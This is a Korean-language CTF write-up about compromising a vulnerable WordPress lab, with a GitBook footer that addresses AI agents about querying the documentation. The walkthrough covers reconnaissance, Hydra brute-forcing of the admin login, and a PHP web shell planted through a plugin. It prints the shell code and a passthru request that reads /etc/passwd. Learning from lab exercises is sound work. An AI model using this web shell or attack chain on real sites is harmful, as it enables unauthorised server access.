> For the complete documentation index, see [llms.txt](https://krjaeh0.gitbook.io/j-log/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://krjaeh0.gitbook.io/j-log/security/ctf-and-wargame/ctf-writeups/ctf_wordpress.md).

# CTF\_Wordpress

[slitaz linux set](file:///5659318/linux_admin/slitaz%20linux%20set.md)

## \[탐색]

* CVE-2003-1418 디렉토리에 적용가능한 취약점을 알려줌

도메인 이름을 설정하고 탐색 가능<br>

탐색할 디렉토리에 대한 정보를 알려주는 것 또한 가능<br>

`readme.html`에서 버전을 확인<br>

## \[웹 접속]

&#x20; 힌트

워드프레스 스캔\
&#x20;&#x20;

* admin에 대한 로그인 정보가 있다는 것을 알 수 있다.

## \[Password Attack]

프록시를 설정하고 로그인 페이지와 내가 주고 받는 정보를 볼 수 있다.<br>

parameter='value'& 구조로 되어 있다.<br>

* action 파라미터에 성공에 대한 정보가 들어가면 로그인이 될 것이다.

포스트 방식으로 서버에 요청한 점을 활용

히드라 툴을 활용한 [Brute Force Attack](file:///5659318/security/Brute%20Force%20Attack.md)

* 취약한 비밀번호를 이용해 관리자 툴에 접속에 성공

{% stepper %}
{% step %}

### 프록시 설정 및 요청 관찰

프록시를 설정하고 로그인 페이지와 주고받는 정보를 확인합니다. POST 방식의 요청을 확인하고, 파라미터 구조와 action 파라미터의 동작을 파악합니다.
{% endstep %}

{% step %}

### 브루트포스 수행

히드라와 같은 툴을 이용해 관리자 계정에 대해 브루트포스 공격을 수행합니다. 성공한 계정으로 관리자 도구에 접속합니다.
{% endstep %}
{% endstepper %}

## \[Web Shell]

힌트에서 나왔듯 웹 쉘을 활용해 서버에 언제든 접속 가능하게 할 수 있다.\
&#x20;&#x20;

* 플러그인의 취약점을 활용해 웹 쉘을 작성

```php
@extract($_REQUEST); // 문자열을 입력받아 추출
if (isset($x) && isset($y)) @die($x($y)); // 추출 결과가 x(함수) y(명령어)에 대입
```

코드 변경사항 저장

`http://vulnwp/wordpress/wp-content/plugins/`에 플러그인이 모두 저장되어 있다.<br>

`x=passthru&y=pwd;uname -a cat /etc/issu; cat /etc/passwd;` 이어서 명령어를 입력할 수 있다.\
&#x20;

\
브라우저에서는 문자열로 인식하기 때문에 웹 쉘을 사용하게 된다.

&#x20; 프록시에서 인터셉트 모드를 켠 상태

\
로그인 시도 > 브레이크 포인트에 갇힘\
&#x20; &#x20;

\
엑티브 스캔 툴을 활용해 스캔 작업을 더 편리하게(더 상세하게) 검사할 수 있다.<br>

상세 검사를 통해 알아낸 각각의 취약점에 대한 정보 및 취약점 코드를 확인할 수 있다.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://krjaeh0.gitbook.io/j-log/security/ctf-and-wargame/ctf-writeups/ctf_wordpress.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
